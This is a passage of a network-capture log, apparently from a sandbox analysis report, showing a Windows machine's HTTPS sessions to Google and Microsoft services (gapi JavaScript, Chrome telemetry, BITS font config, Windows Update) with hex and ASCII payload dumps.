10 Oct 2024 19:55:27 GMT Content-Type: text/javascript; charset=UTF-8 Vary: Accept-Encoding Age: 67660 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-10-31 10:27:11 UTC	463	IN	Data Raw: 67 61 70 69 2e 6c 6f 61 64 65 64 5f 30 28 66 75 6e 63 74 69 6f 6e 28 5f 29 7b 76 61 72 20 77 69 6e 64 6f 77 3d 74 68 69 73 3b 0a 5f 2e 5f 46 5f 74 6f 67 67 6c 65 73 5f 69 6e 69 74 69 61 6c 69 7a 65 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 28 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 3f 67 6c 6f 62 61 6c 54 68 69 73 3a 74 79 70 65 6f 66 20 73 65 6c 66 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 3f 73 65 6c 66 3a 74 68 69 73 29 2e 5f 46 5f 74 6f 67 67 6c 65 73 3d 61 7c 7c 5b 5d 7d 3b 28 30 2c 5f 2e 5f 46 5f 74 6f 67 67 6c 65 73 5f 69 6e 69 74 69 61 6c 69 7a 65 29 28 5b 30 78 38 30 30 30 30 30 2c 20 5d 29 3b 0a 76 61 72 20 64 61 2c 65 61 2c 68 61 2c 6e 61 2c 6f 61 2c 73 61 2c 74 61 2c 77 61 3b 64 61 3d 66 75 6e Data Ascii: gapi.loaded_0(function(_){var window=this;_._F_toggles_initialize=function(a){(typeof globalThis!=="undefined"?globalThis:typeof self!=="undefined"?self:this)._F_toggles=a\|\|[]};(0,_._F_toggles_initialize)([0x800000, ]);var da,ea,ha,na,oa,sa,ta,wa;da=fun
2024-10-31 10:27:11 UTC	1378	IN	Data Raw: 74 6f 74 79 70 65 29 72 65 74 75 72 6e 20 61 3b 61 5b 62 5d 3d 63 2e 76 61 6c 75 65 3b 72 65 74 75 72 6e 20 61 7d 3b 0a 68 61 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 61 3d 5b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 26 26 67 6c 6f 62 61 6c 54 68 69 73 2c 61 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 26 26 77 69 6e 64 6f 77 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 73 65 6c 66 26 26 73 65 6c 66 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 26 26 67 6c 6f 62 61 6c 5d 3b 66 6f 72 28 76 61 72 20 62 3d 30 3b 62 3c 61 2e 6c 65 6e 67 74 68 3b 2b 2b 62 29 7b 76 61 72 20 63 3d 61 5b 62 5d 3b 69 66 28 63 26 26 63 2e 4d 61 74 68 3d 3d 4d 61 74 68 29 72 65 74 75 Data Ascii: totype)return a;a[b]=c.value;return a};ha=function(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)retu
2024-10-31 10:27:11 UTC	1378	IN	Data Raw: 61 72 20 62 3d 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 21 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 26 26 61 5b 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 5d 3b 69 66 28 62 29 72 65 74 75 72 6e 20 62 2e 63 61 6c 6c 28 61 29 3b 69 66 28 74 79 70 65 6f 66 20 61 2e 6c 65 6e 67 74 68 3d 3d 22 6e 75 6d 62 65 72 22 29 72 65 74 75 72 6e 7b 6e 65 78 74 3a 64 61 28 61 29 7d 3b 74 68 72 6f 77 20 45 72 72 6f 72 28 22 62 60 22 2b 53 74 72 69 6e 67 28 61 29 29 3b 7d 3b 73 61 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2e 63 61 6c 6c 28 61 2c 62 29 7d 3b 74 61 3d 74 79 70 65 6f 66 20 4f 62 6a 65 63 74 2e 61 73 Data Ascii: ar b=typeof Symbol!="undefined"&&Symbol.iterator&&a[Symbol.iterator];if(b)return b.call(a);if(typeof a.length=="number")return{next:da(a)};throw Error("b`"+String(a));};sa=function(a,b){return Object.prototype.hasOwnProperty.call(a,b)};ta=typeof Object.as
2024-10-31 10:27:11 UTC	1378	IN	Data Raw: 66 75 6e 63 74 69 6f 6e 28 68 29 7b 74 68 69 73 2e 46 61 3d 30 3b 74 68 69 73 2e 77 66 3d 76 6f 69 64 20 30 3b 74 68 69 73 2e 4e 72 3d 5b 5d 3b 74 68 69 73 2e 68 56 3d 21 31 3b 76 61 72 20 6b 3d 74 68 69 73 2e 6a 46 28 29 3b 74 72 79 7b 68 28 6b 2e 72 65 73 6f 6c 76 65 2c 6b 2e 72 65 6a 65 63 74 29 7d 63 61 74 63 68 28 6c 29 7b 6b 2e 72 65 6a 65 63 74 28 6c 29 7d 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 6a 46 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 68 28 6d 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 6c 7c 7c 28 6c 3d 21 30 2c 6d 2e 63 61 6c 6c 28 6b 2c 6e 29 29 7d 7d 76 61 72 20 6b 3d 74 68 69 73 2c 6c 3d 21 31 3b 72 65 74 75 72 6e 7b 72 65 73 6f 6c 76 65 3a 68 28 74 68 69 73 2e 53 64 61 29 2c 72 65 6a 65 63 74 Data Ascii: function(h){this.Fa=0;this.wf=void 0;this.Nr=[];this.hV=!1;var k=this.jF();try{h(k.resolve,k.reject)}catch(l){k.reject(l)}};e.prototype.jF=function(){function h(m){return function(n){l\|\|(l=!0,m.call(k,n))}}var k=this,l=!1;return{resolve:h(this.Sda),reject
2024-10-31 10:27:11 UTC	1378	IN	Data Raw: 70 72 6f 6d 69 73 65 3d 74 68 69 73 3b 68 2e 72 65 61 73 6f 6e 3d 74 68 69 73 2e 77 66 3b 72 65 74 75 72 6e 20 6c 28 68 29 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 47 37 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 74 68 69 73 2e 4e 72 21 3d 6e 75 6c 6c 29 7b 66 6f 72 28 76 61 72 20 68 3d 30 3b 68 3c 74 68 69 73 2e 4e 72 2e 6c 65 6e 67 74 68 3b 2b 2b 68 29 66 2e 58 4f 28 74 68 69 73 2e 4e 72 5b 68 5d 29 3b 0a 74 68 69 73 2e 4e 72 3d 6e 75 6c 6c 7d 7d 3b 76 61 72 20 66 3d 6e 65 77 20 62 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 79 66 61 3d 66 75 6e 63 74 69 6f 6e 28 68 29 7b 76 61 72 20 6b 3d 74 68 69 73 2e 6a 46 28 29 3b 68 2e 69 79 28 6b 2e 72 65 73 6f 6c 76 65 2c 6b 2e 72 65 6a 65 63 74 29 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 7a 66 61 3d 66 75 6e 63 Data Ascii: promise=this;h.reason=this.wf;return l(h)};e.prototype.G7=function(){if(this.Nr!=null){for(var h=0;h<this.Nr.length;++h)f.XO(this.Nr[h]);this.Nr=null}};var f=new b;e.prototype.yfa=function(h){var k=this.jF();h.iy(k.resolve,k.reject)};e.prototype.zfa=func
2024-10-31 10:27:11 UTC	1378	IN	Data Raw: 6f 72 28 22 46 69 72 73 74 20 61 72 67 75 6d 65 6e 74 20 74 6f 20 53 74 72 69 6e 67 2e 70 72 6f 74 6f 74 79 70 65 2e 22 2b 63 2b 22 20 6d 75 73 74 20 6e 6f 74 20 62 65 20 61 20 72 65 67 75 6c 61 72 20 65 78 70 72 65 73 73 69 6f 6e 22 29 3b 72 65 74 75 72 6e 20 61 2b 22 22 7d 3b 0a 6e 61 28 22 53 74 72 69 6e 67 2e 70 72 6f 74 6f 74 79 70 65 2e 73 74 61 72 74 73 57 69 74 68 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 3f 61 3a 66 75 6e 63 74 69 6f 6e 28 62 2c 63 29 7b 76 61 72 20 64 3d 45 61 28 74 68 69 73 2c 62 2c 22 73 74 61 72 74 73 57 69 74 68 22 29 2c 65 3d 64 2e 6c 65 6e 67 74 68 2c 66 3d 62 2e 6c 65 6e 67 74 68 3b 63 3d 4d 61 74 68 2e 6d 61 78 28 30 2c 4d 61 74 68 2e 6d 69 6e 28 63 7c 30 2c 64 2e 6c 65 6e 67 74 68 29 29 3b 66 6f Data Ascii: or("First argument to String.prototype."+c+" must not be a regular expression");return a+""};na("String.prototype.startsWith",function(a){return a?a:function(b,c){var d=Ea(this,b,"startsWith"),e=d.length,f=b.length;c=Math.max(0,Math.min(c\|0,d.length));fo
2024-10-31 10:27:11 UTC	1378	IN	Data Raw: 72 20 68 3d 30 2c 6b 3d 66 75 6e 63 74 69 6f 6e 28 6c 29 7b 74 68 69 73 2e 47 61 3d 28 68 2b 3d 4d 61 74 68 2e 72 61 6e 64 6f 6d 28 29 2b 31 29 2e 74 6f 53 74 72 69 6e 67 28 29 3b 69 66 28 6c 29 7b 6c 3d 5f 2e 72 61 28 6c 29 3b 66 6f 72 28 76 61 72 20 6d 3b 21 28 6d 3d 6c 2e 6e 65 78 74 28 29 29 2e 64 6f 6e 65 3b 29 6d 3d 6d 2e 76 61 6c 75 65 2c 74 68 69 73 2e 73 65 74 28 6d 5b 30 5d 2c 6d 5b 31 5d 29 7d 7d 3b 6b 2e 70 72 6f 74 6f 74 79 70 65 2e 73 65 74 3d 66 75 6e 63 74 69 6f 6e 28 6c 2c 6d 29 7b 69 66 28 21 63 28 6c 29 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 65 22 29 3b 64 28 6c 29 3b 69 66 28 21 73 61 28 6c 2c 66 29 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 66 60 22 2b 6c 29 3b 6c 5b 66 5d 5b 74 68 69 73 2e 47 61 5d 3d 6d 3b 72 65 74 75 72 6e 20 74 Data Ascii: r h=0,k=function(l){this.Ga=(h+=Math.random()+1).toString();if(l){l=_.ra(l);for(var m;!(m=l.next()).done;)m=m.value,this.set(m[0],m[1])}};k.prototype.set=function(l,m){if(!c(l))throw Error("e");d(l);if(!sa(l,f))throw Error("f`"+l);l[f][this.Ga]=m;return t
2024-10-31 10:27:11 UTC	1378	IN	Data Raw: 65 3d 66 75 6e 63 74 69 6f 6e 28 6b 29 7b 6b 3d 64 28 74 68 69 73 2c 6b 29 3b 72 65 74 75 72 6e 20 6b 2e 5a 65 26 26 6b 2e 6c 69 73 74 3f 28 6b 2e 6c 69 73 74 2e 73 70 6c 69 63 65 28 6b 2e 69 6e 64 65 78 2c 31 29 2c 6b 2e 6c 69 73 74 2e 6c 65 6e 67 74 68 7c 7c 64 65 6c 65 74 65 20 74 68 69 73 5b 30 5d 5b 6b 2e 69 64 5d 2c 6b 2e 5a 65 2e 52 6b 2e 6e 65 78 74 3d 6b 2e 5a 65 2e 6e 65 78 74 2c 6b 2e 5a 65 2e 6e 65 78 74 2e 52 6b 3d 0a 6b 2e 5a 65 2e 52 6b 2c 6b 2e 5a 65 2e 68 65 61 64 3d 6e 75 6c 6c 2c 74 68 69 73 2e 73 69 7a 65 2d 2d 2c 21 30 29 3a 21 31 7d 3b 63 2e 70 72 6f 74 6f 74 79 70 65 2e 63 6c 65 61 72 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 5b 30 5d 3d 7b 7d 3b 74 68 69 73 5b 31 5d 3d 74 68 69 73 5b 31 5d 2e 52 6b 3d 66 28 29 3b 74 68 69 73 Data Ascii: e=function(k){k=d(this,k);return k.Ze&&k.list?(k.list.splice(k.index,1),k.list.length\|\|delete this[0][k.id],k.Ze.Rk.next=k.Ze.next,k.Ze.next.Rk=k.Ze.Rk,k.Ze.head=null,this.size--,!0):!1};c.prototype.clear=function(){this[0]={};this[1]=this[1].Rk=f();this
2024-10-31 10:27:11 UTC	1378	IN	Data Raw: 70 65 2e 65 6e 74 72 69 65 73 7c 7c 74 79 70 65 6f 66 20 4f 62 6a 65 63 74 2e 73 65 61 6c 21 3d 22 66 75 6e 63 74 69 6f 6e 22 29 72 65 74 75 72 6e 21 31 3b 74 72 79 7b 76 61 72 20 63 3d 4f 62 6a 65 63 74 2e 73 65 61 6c 28 7b 78 3a 34 7d 29 2c 64 3d 6e 65 77 20 61 28 5f 2e 72 61 28 5b 63 5d 29 29 3b 69 66 28 21 64 2e 68 61 73 28 63 29 7c 7c 64 2e 73 69 7a 65 21 3d 31 7c 7c 64 2e 61 64 64 28 63 29 21 3d 64 7c 7c 64 2e 73 69 7a 65 21 3d 31 7c 7c 64 2e 61 64 64 28 7b 78 3a 34 7d 29 21 3d 64 7c 7c 64 2e 73 69 7a 65 21 3d 32 29 72 65 74 75 72 6e 21 31 3b 76 61 72 20 65 3d 64 2e 65 6e 74 72 69 65 73 28 29 2c 66 3d 65 2e 6e 65 78 74 28 29 3b 69 66 28 66 2e 64 6f 6e 65 7c 7c 66 2e 76 61 6c 75 65 5b 30 5d 21 3d 63 7c 7c 66 2e 76 61 6c 75 65 5b 31 5d 21 3d 63 29 72 Data Ascii: pe.entries\|\|typeof Object.seal!="function")return!1;try{var c=Object.seal({x:4}),d=new a(_.ra([c]));if(!d.has(c)\|\|d.size!=1\|\|d.add(c)!=d\|\|d.size!=1\|\|d.add({x:4})!=d\|\|d.size!=2)return!1;var e=d.entries(),f=e.next();if(f.done\|\|f.value[0]!=c\|\|f.value[1]!=c)r
2024-10-31 10:27:11 UTC	1378	IN	Data Raw: 2b 39 32 31 36 7d 7d 7d 29 3b 0a 6e 61 28 22 53 74 72 69 6e 67 2e 66 72 6f 6d 43 6f 64 65 50 6f 69 6e 74 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 3f 61 3a 66 75 6e 63 74 69 6f 6e 28 62 29 7b 66 6f 72 28 76 61 72 20 63 3d 22 22 2c 64 3d 30 3b 64 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 64 2b 2b 29 7b 76 61 72 20 65 3d 4e 75 6d 62 65 72 28 61 72 67 75 6d 65 6e 74 73 5b 64 5d 29 3b 69 66 28 65 3c 30 7c 7c 65 3e 31 31 31 34 31 31 31 7c 7c 65 21 3d 3d 4d 61 74 68 2e 66 6c 6f 6f 72 28 65 29 29 74 68 72 6f 77 20 6e 65 77 20 52 61 6e 67 65 45 72 72 6f 72 28 22 69 6e 76 61 6c 69 64 5f 63 6f 64 65 5f 70 6f 69 6e 74 20 22 2b 65 29 3b 65 3c 3d 36 35 35 33 35 3f 63 2b 3d 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 Data Ascii: +9216}}});na("String.fromCodePoint",function(a){return a?a:function(b){for(var c="",d=0;d<arguments.length;d++){var e=Number(arguments[d]);if(e<0\|\|e>1114111\|\|e!==Math.floor(e))throw new RangeError("invalid_code_point "+e);e<=65535?c+=String.fromCharCode(

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49748	142.250.186.46	443	7104	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 10:27:12 UTC	726	OUT	POST /log?format=json&hasfast=true HTTP/1.1 Host: play.google.com Connection: keep-alive Content-Length: 905 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/x-www-form-urlencoded;charset=UTF-8 Accept: / Origin: chrome-untrusted://new-tab-page X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-31 10:27:12 UTC	905	OUT	Data Raw: 5b 5b 31 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 5b 5b 22 47 6f 6f 67 6c 65 20 43 68 72 6f 6d 65 22 2c 22 31 31 37 22 5d 2c 5b 22 4e 6f 74 3b 41 3d 42 72 61 6e 64 22 2c 22 38 22 5d 2c 5b 22 43 68 72 6f 6d 69 75 6d 22 2c 22 31 31 37 22 5d 5d 2c 30 2c 22 57 69 6e 64 6f 77 73 22 2c 22 31 30 2e 30 2e 30 22 2c 22 78 38 36 22 2c 22 22 2c 22 31 31 37 2e 30 2e 35 39 33 38 2e 31 33 32 22 5d 2c 5b 31 2c 30 2c 30 2c 30 2c 30 5d 5d 5d 2c 33 37 33 2c 5b 5b 22 31 37 33 30 33 37 30 34 32 39 39 37 35 22 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c Data Ascii: [[1,null,null,null,null,null,null,null,null,null,[null,null,null,null,null,null,null,null,[[["Google Chrome","117"],["Not;A=Brand","8"],["Chromium","117"]],0,"Windows","10.0.0","x86","","117.0.5938.132"],[1,0,0,0,0]]],373,[["1730370429975",null,null,null,
2024-10-31 10:27:12 UTC	937	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: chrome-untrusted://new-tab-page Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: X-Playlog-Web Set-Cookie: NID=518=uz6cUdrH-YK6J5knxFSG9HT00MeFVPPScR9QttNrXaHytkyUm0jZR4n2yJlUSur0wgj1JkFpXnqDu-61YqGB3YReGfdQEtbyvM6F-Xm8uCGehhOQYeqdbTCUXi7ESbPwinfC8oYpu_kXVrTHGDGtgDSrOqsxcl6_ffnjD43xeCJkQSVl9AI; expires=Fri, 02-May-2025 10:27:12 GMT; path=/; domain=.google.com; Secure; HttpOnly; SameSite=none P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Content-Type: text/plain; charset=UTF-8 Date: Thu, 31 Oct 2024 10:27:12 GMT Server: Playlog Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Expires: Thu, 31 Oct 2024 10:27:12 GMT Connection: close Transfer-Encoding: chunked
2024-10-31 10:27:12 UTC	137	IN	Data Raw: 38 33 0d 0a 5b 22 2d 31 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 41 4e 44 52 4f 49 44 5f 42 41 43 4b 55 50 22 2c 30 5d 2c 5b 22 42 41 54 54 45 52 59 5f 53 54 41 54 53 22 2c 30 5d 2c 5b 22 53 4d 41 52 54 5f 53 45 54 55 50 22 2c 30 5d 2c 5b 22 54 52 4f 4e 22 2c 30 5d 5d 2c 2d 33 33 33 34 37 33 37 35 39 34 30 32 34 39 37 31 32 32 35 5d 2c 5b 5d 2c 7b 22 31 37 35 32 33 37 33 37 35 22 3a 5b 31 30 30 30 30 5d 7d 5d 0d 0a Data Ascii: 83["-1",null,[[["ANDROID_BACKUP",0],["BATTERY_STATS",0],["SMART_SETUP",0],["TRON",0]],-3334737594024971225],[],{"175237375":[10000]}]
2024-10-31 10:27:12 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49750	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 10:27:12 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-10-31 10:27:13 UTC	467	IN	HTTP/1.1 200 OK Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF70) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-neu-z1 Cache-Control: public, max-age=195510 Date: Thu, 31 Oct 2024 10:27:12 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49753	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 10:27:14 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-10-31 10:27:14 UTC	515	IN	HTTP/1.1 200 OK ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF06) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=195565 Date: Thu, 31 Oct 2024 10:27:14 GMT Content-Length: 55 Connection: close X-CID: 2
2024-10-31 10:27:14 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49754	142.250.186.46	443	7104	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 10:27:14 UTC	923	OUT	POST /log?format=json&hasfast=true HTTP/1.1 Host: play.google.com Connection: keep-alive Content-Length: 910 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/x-www-form-urlencoded;charset=UTF-8 Accept: / Origin: chrome-untrusted://new-tab-page X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=518=uz6cUdrH-YK6J5knxFSG9HT00MeFVPPScR9QttNrXaHytkyUm0jZR4n2yJlUSur0wgj1JkFpXnqDu-61YqGB3YReGfdQEtbyvM6F-Xm8uCGehhOQYeqdbTCUXi7ESbPwinfC8oYpu_kXVrTHGDGtgDSrOqsxcl6_ffnjD43xeCJkQSVl9AI
2024-10-31 10:27:14 UTC	910	OUT	Data Raw: 5b 5b 31 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 5b 5b 22 47 6f 6f 67 6c 65 20 43 68 72 6f 6d 65 22 2c 22 31 31 37 22 5d 2c 5b 22 4e 6f 74 3b 41 3d 42 72 61 6e 64 22 2c 22 38 22 5d 2c 5b 22 43 68 72 6f 6d 69 75 6d 22 2c 22 31 31 37 22 5d 5d 2c 30 2c 22 57 69 6e 64 6f 77 73 22 2c 22 31 30 2e 30 2e 30 22 2c 22 78 38 36 22 2c 22 22 2c 22 31 31 37 2e 30 2e 35 39 33 38 2e 31 33 32 22 5d 2c 5b 31 2c 30 2c 30 2c 30 2c 30 5d 5d 5d 2c 33 37 33 2c 5b 5b 22 31 37 33 30 33 37 30 34 33 32 32 36 39 22 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c Data Ascii: [[1,null,null,null,null,null,null,null,null,null,[null,null,null,null,null,null,null,null,[[["Google Chrome","117"],["Not;A=Brand","8"],["Chromium","117"]],0,"Windows","10.0.0","x86","","117.0.5938.132"],[1,0,0,0,0]]],373,[["1730370432269",null,null,null,
2024-10-31 10:27:14 UTC	945	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: chrome-untrusted://new-tab-page Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: X-Playlog-Web Set-Cookie: NID=518=hNaAWN9ti7kH1U0KqT4zPf6jTv1wrvJPEhOmRFPBp4nfgFtrLiy-ADqW9GfLlS2bGI7UdL77k7cJzdm60ROIH96cmoa2kHD1huilAZAmyF1C7E16-_ZzufHTHkcXhz2jqOVL5MWS9FwFrorEkXYxEAVu7EDmgZWzkQow46gftdabpB4OHnRYRXA3h7k; expires=Fri, 02-May-2025 10:27:14 GMT; path=/; domain=.google.com; Secure; HttpOnly; SameSite=none P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Content-Type: text/plain; charset=UTF-8 Date: Thu, 31 Oct 2024 10:27:14 GMT Server: Playlog Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Expires: Thu, 31 Oct 2024 10:27:14 GMT Connection: close Transfer-Encoding: chunked
2024-10-31 10:27:14 UTC	137	IN	Data Raw: 38 33 0d 0a 5b 22 2d 31 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 41 4e 44 52 4f 49 44 5f 42 41 43 4b 55 50 22 2c 30 5d 2c 5b 22 42 41 54 54 45 52 59 5f 53 54 41 54 53 22 2c 30 5d 2c 5b 22 53 4d 41 52 54 5f 53 45 54 55 50 22 2c 30 5d 2c 5b 22 54 52 4f 4e 22 2c 30 5d 5d 2c 2d 33 33 33 34 37 33 37 35 39 34 30 32 34 39 37 31 32 32 35 5d 2c 5b 5d 2c 7b 22 31 37 35 32 33 37 33 37 35 22 3a 5b 31 30 30 30 30 5d 7d 5d 0d 0a Data Ascii: 83["-1",null,[[["ANDROID_BACKUP",0],["BATTERY_STATS",0],["SMART_SETUP",0],["TRON",0]],-3334737594024971225],[],{"175237375":[10000]}]
2024-10-31 10:27:14 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49755	20.12.23.50	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 10:27:15 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=vlLRGzYFkMf6rYe&MD=S3nkbt6b HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-10-31 10:27:15 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: cda564af-afa2-4baf-99d9-0ceb87d1000b MS-RequestId: 752f4824-df70-43b4-8d11-62b43020c75c MS-CV: ehcXzlcovkG6Px6A.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Thu, 31 Oct 2024 10:27:14 GMT Connection: close Content-Length: 24490
